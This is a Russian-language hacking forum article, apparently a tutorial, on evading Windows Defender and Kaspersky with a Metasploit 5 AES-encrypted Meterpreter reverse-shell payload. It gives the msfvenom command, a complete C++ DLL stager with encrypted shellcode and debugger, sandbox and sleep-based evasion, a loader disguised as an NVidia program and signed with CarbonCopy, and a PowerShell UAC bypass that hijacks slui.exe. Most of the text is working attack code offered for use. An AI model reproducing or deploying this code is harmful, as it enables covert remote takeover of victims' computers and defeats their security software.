Введение
Доброго времени суток друзья! Рад снова вас видеть! Написать эту статью я намеревался еще до официального релиза
Ссылка скрыта от гостей
, но вечно не хватающее время и некоторые другие обстоятельства не позволили этому сбыться.Сегодня речь пойдет как вы уже могли понять из заголовка - об обходе антивируса. С Metasploit 5 у нас появилась возможность "из коробки" шифровать shellcode с помощью AES-256. Таким образом наш shellcode становится абсолютно не читаемым для антивирусов. Конечно можно было бы ограничиться ссылкой на github или на официальное видео в youtube, но мне захотелось пойти дальше.
Основная часть
Начнем с установки последней версии Metasploit-Framework.
Добавляем в систему ключ и адрес репозитория
Bash:
sudo wget -qO - http://apt.metasploit.com/metasploit-framework.gpg.key | sudo apt-key add -
echo "deb http://downloads.metasploit.com/data/releases/metasploit-framework/apt kali main" > /etc/apt/sources.list.d/metasploit-framework.list
После этого можно устанавливать.
Bash:
apt update
apt install metasploit-framework
Генерируем зашифрованную полезную нагрузку (x64)
Теперь качаем уже готовый код с github и вставляем наши туда значения (shellcode, iv и key). Так же нам потребуются файлы aes.h и aes.cpp для компиляции DLL. Замечу что точка входа которая необходима для запуска DLL в моем примере: Exec. Вы можете заменить ее на что угодно.
C++:
#define CBC 1
#include "aes.h"
#include <Windows.h>
#include <Wininet.h>
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <iostream>
#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Wininet.lib")
using namespace std;
// Actual length of the payload
#define PAYLOADLENGTH 650
#define IV "iyVnJvsoeuHxg71Z"
#define KEY "fynHM56P0xZBzv4Nh2woGRyUYf34ecD6"
#define CLASSNAME "WinClass"
#define WINDOWTITLE "ForCodeBy"
// RC4 payload is used to maximize stealth during network communication.
// msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 EXIT_FUNC=PROCESS LHOST=192.168.0.13 LPORT=443 RC4PASSWORD=ForCodeBy --encrypt aes256 --encrypt-iv iyVnJvsoeuHxg71Z --encrypt-key fynHM56P0xZBzv4Nh2woGRyUYf34ecD6 -f c -o meterpreter.c
// Payload size: 650 bytes
unsigned char buf[] =
"\xd4\xd3\xf3\x8a\xe8\x27\xcb\x83\x75\xcc\x10\x21\x8c\x27\x04"
"\xc9\xb6\xed\x57\x78\x42\x18\x80\xe9\xae\x09\xa9\xb6\xc9\x53"
"\xfb\x0d\xf4\xe3\x32\xf7\x1e\x55\x38\x47\x99\x82\x68\xce\xef"
"\x61\x16\xd7\xfc\xc2\x0a\x53\xcf\xa4\x23\x7e\xf3\xf8\xa7\x24"
"\x1a\x3b\xc0\xf7\x60\x83\x55\x7e\x29\x47\x56\xdf\x09\x81\x75"
"\x5e\xfc\x71\x6c\xec\xa9\xb3\x0a\x82\x81\xf8\xe7\x3e\xe0\xfd"
"\x54\x47\x69\x69\x93\xb8\x4b\x0d\xc1\xff\x18\x26\x67\x5a\x9f"
"\x4b\x58\xc2\x04\x26\xd6\x8a\xe3\x33\xbb\xaf\xb8\x3a\x79\x0a"
"\x57\x38\xeb\xcf\x64\x5e\x5b\x0b\xeb\x51\xfb\x18\xbc\xca\x7d"
"\x16\x7b\x1c\x0b\x22\xfc\x05\xbb\xfb\x8b\x11\x6a\x02\xf8\x3e"
"\xa4\x15\x62\xf5\x83\xd2\xaf\xa9\x89\x87\x31\xca\x33\x76\x0d"
"\x9c\x5c\x7c\x5b\x87\x6c\x55\x92\xbd\x6c\x4f\xd2\x07\xa9\x3b"
"\x16\x60\x4c\x79\xa3\x1a\x7b\xbc\x8a\x8c\xf9\x95\x31\x88\xd9"
"\xb1\x2b\xfb\x1f\x25\x80\x19\x79\x77\x5f\xcc\x74\x5e\x64\x7d"
"\x23\x89\x7c\x78\xd4\x11\xef\xbf\xae\x4c\xbd\xd6\x43\xf2\x9c"
"\xf1\x64\x20\x77\xad\x01\xef\x53\x98\x48\x17\x72\x21\x9b\xe6"
"\x37\xb0\x45\xba\x89\x2e\xe9\x16\x81\xc7\xdb\xe9\x7f\x2d\x5a"
"\x9a\x62\xaf\xb4\x9d\x71\xf9\xa9\x1f\x46\xe5\x8f\x27\x24\x56"
"\x64\x4f\x22\xf2\xe4\xc6\x0b\x0a\x56\xce\x5e\x51\xda\x4c\x46"
"\x85\x6b\xc6\x30\xa0\x25\x20\x56\x6c\x48\x0a\xa4\x14\x69\x29"
"\x14\x74\x2f\x3d\x7f\x5b\x0f\x00\x74\x0c\x8e\xe7\xfa\xf3\x5e"
"\xc6\x56\xb7\x72\x27\x7e\x05\x07\x6d\x1f\x34\x98\x1e\x97\xdb"
"\xec\x3c\xed\x10\x3d\x37\x19\xb6\x3d\xd0\x67\x31\x08\x37\xd9"
"\xa1\xaf\xbd\x62\xa1\x5a\x9e\x1f\xc2\x22\x05\x5f\x1e\xce\xec"
"\xe7\x30\x05\x5b\x61\x2a\x5a\x94\xcb\xb6\x4c\xa9\x33\xf2\x56"
"\xd1\x0c\xbc\x5e\x64\x07\xd0\x06\x9a\x99\x07\xc1\xf1\x91\xee"
"\x51\x98\xf1\x8c\x65\xac\xc2\x17\xda\x01\xb2\x12\x30\xef\x76"
"\x49\x6f\x19\x88\x8b\xf6\x9d\x8e\x96\xe1\x9f\x28\xd9\x2b\x00"
"\xbe\xa7\xcf\x20\xfd\x02\x18\x15\x65\xff\xcb\x85\xab\xd8\x53"
"\xfa\x51\xc4\xc8\x35\x92\x7c\x0d\x3f\x04\x32\xa0\x55\x45\x1c"
"\xfb\x68\xf5\x77\x9f\x4c\x22\x5a\x38\x3d\xd9\xd3\x76\x94\x7e"
"\xaf\xdd\x30\xda\x59\x1c\xac\x50\x40\x78\x30\x5a\x49\x1b\x80"
"\x75\x0b\x5a\x15\xae\x89\x4a\x23\xc0\xa6\xa8\xc5\xfb\x7d\xcc"
"\x6b\x38\xdd\x87\x53\x88\xef\x22\xa9\x83\x84\xd1\x9e\x6a\xb8"
"\xf7\x6a\x02\x67\xf7\x91\xce\x24\x18\x7e\x54\x8c\x47\x31\x2f"
"\xf5\x86\x02\x0c\xac\x97\x1d\x48\x2a\x5b\x6c\x4e\x51\xe2\x34"
"\x6c\x5f\xff\x78\xbc\x40\x21\x61\x94\xdb\x87\x52\x10\xc5\xe2"
"\x9b\x32\x52\x5b\x2f\xba\xd5\xf6\x06\x05\x2c\x6b\xf0\x16\x9b"
"\x46\x91\x61\x0c\x76\x34\x88\x8e\xe7\xef\xea\xde\xf7\x9b\x65"
"\x6e\xd2\x95\x5f\xde\x21\x4a\x6e\xfb\xc8\x86\x22\x11\xbe\xcb"
"\x11\x01\x08\xb8\x49\xbe\x8f\x2b\x17\x76\x37\x9c\xa5\x0a\x23"
"\xf5\xb3\xc1\xed\x66\xca\x43\x52\xa6\x84\x0d\x48\xef\x3b\xc7"
"\x7b\xd9\x80\x1a\xb8\x0a\x3c\x58\x3e\x1d\x06\x2b\x2d\xf3\xc6"
"\x56\x8d\x1f\x11\xd0\x9c\xe9\xea\xf3\x18\xd7";
const int ENCRYPTEDBUFFERLENGTH = sizeof(buf);
namespace Aes256MsfPayload {
class Utils {
public:
static char IsDbgPresent() {
if (IsDebuggerPresent())
{
return 1;
}
return 0;
}
static bool IsSandboxPresent() {
// Non-uniform memory access (NUMA) is a computer memory design used in multiprocessing,
// where the memory access time depends on the memory location relative to the processor.
// https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf
return VirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0) == NULL;
}
static DWORD WINAPI ExecuteCode(LPVOID lpPayload) {
void(*func)();
func = (void(*)()) lpPayload;
(void)(*func)();
return 0;
}
};
class CryptoUtils {
public:
static void AES256Decrypt(uint8_t* uString, uint8_t* uIv, const char* uKey) {
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, uKey, uIv);
AES_CBC_decrypt_buffer(&ctx, uString, PAYLOADLENGTH);
// The last byte needs to a null-byte terminator to read correctly.
memcpy((char*)uString + PAYLOADLENGTH, "\x00", 1);
}
};
class Rc4ReverseTcp {
public:
void Start() {
TCHAR s[256];
LPVOID lpPayload = VirtualAlloc(NULL, ENCRYPTEDBUFFERLENGTH, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpPayload) {
ZeroMemory(lpPayload, ENCRYPTEDBUFFERLENGTH);
memcpy(lpPayload, buf, ENCRYPTEDBUFFERLENGTH);
}
else {
return;
}
// uint8_t : 8 unsigned bits
uint8_t* uPayload = (uint8_t*)lpPayload;
uint8_t* uIv = (uint8_t*)IV;
//uint8_t* uKey = (uint8_t*)KEY;
CryptoUtils::AES256Decrypt(uPayload, uIv, KEY);
// Also useful to bypass Sandboxing
// AFAIK it's working for Windows Defender
Sleep(10000);
Utils::ExecuteCode(uPayload);
}
};
}
//Entry point: Exec
extern "C" __declspec(dllexport) void Exec() {
if (!Aes256MsfPayload::Utils::IsDbgPresent() && !Aes256MsfPayload::Utils::IsSandboxPresent()) {
Aes256MsfPayload::Rc4ReverseTcp* p = new Aes256MsfPayload::Rc4ReverseTcp();
try {
p->Start();
delete(p);
}
catch (const std::exception &e) {
}
}
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Компиляция производится на Windows. Нужно установить C++ BuildTools если у вас уже не стоит Visual Studio.
Скачать можно -
Ссылка скрыта от гостей
Далее все три файла кладем в одну папку и запускаем командную строку разработчика для VS (соблюдайте разрядность, x64 или x86), переходим в нашу папку и компилим
DLL-ка готова. Поднимаем у себя listener и ждем сессию. В Windows есть встроенная утилита rundll32.exe, которой мы можем воспользоваться для запуска нашей DLL. Вот здесь нам и понадобится наша точка входа Exec.
Профит 1
Windows Defender включен и обновлен до последней версии. Так же при сканировании не выявляет Meterpreter в памяти.
На этом можно было бы завершить нашу встречу, но мы быстренько напишем свой кастомный загрузчик DLL на C и замаскируем его под какое то приложение.
Собственно сам код:
C:
#include <stdio.h>
#include <windows.h>
typedef int(*f_funci)();
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nCmdShow) {
FreeConsole();
HINSTANCE hMod = LoadLibrary("stager_dll_64.dll");
if (!hMod) {
printf("Failed to load mydll.dll");
}
f_funci funci = (f_funci)GetProcAddress(hMod, "Exec");
funci();
return 0;
}
}
FreeConsole(); - Очень важная функция, которая скрывает окно cmd при запуске нашей программы.
Нам понадобится
Ссылка скрыта от гостей
и любое приложение под которое мы хотим замаскировать наш загрузчик. Я для примера взял программу драйвер NVidia.Закидываем в Resource Hacker и экспортитуем .RC файлы, они нам понадобятся при компиляции загрузкича.
Ссылка скрыта от гостей
, приложу пример:Почему то Codeby не дал мне вставить код, поэтому приложил фотку. Фигурные скобки заменил на BEGIN и END, кодировку сменил на UTF8.
Компилируем наш загрузчик на Линуксе с GCC и подписываем с помощью CarbonCopy
Профит 2
Но Каспер всетаки нашел "что-то подозрительное" при ручном сканировании памяти и юзверю предостовлявтся возможность принудительно убить процесс. Но если не сканировать память, все нормально
Повышение привилегий!
SluiHijackBypass_direct.ps1 - это тот же SluiHijackBypass.ps1 но чуть измененный.
Код:
$program = "C:\Users\user01\Desktop\load_dll.exe"
New-Item "HKCU:\Software\Classes\exefile\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\shell\open\command" -Name "(default)" -Value $program -Force
Start-Process "C:\Windows\System32\slui.exe" -Verb runas
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\exefile\shell\" -Recurse -Force
А на этом у меня все. Спасибо за внимание!
Если вы еще не заметили, с asciinema можно копировать текст!
Материалы использованные в этой статье:
youtube
phackt/stager.dll
Последнее редактирование модератором: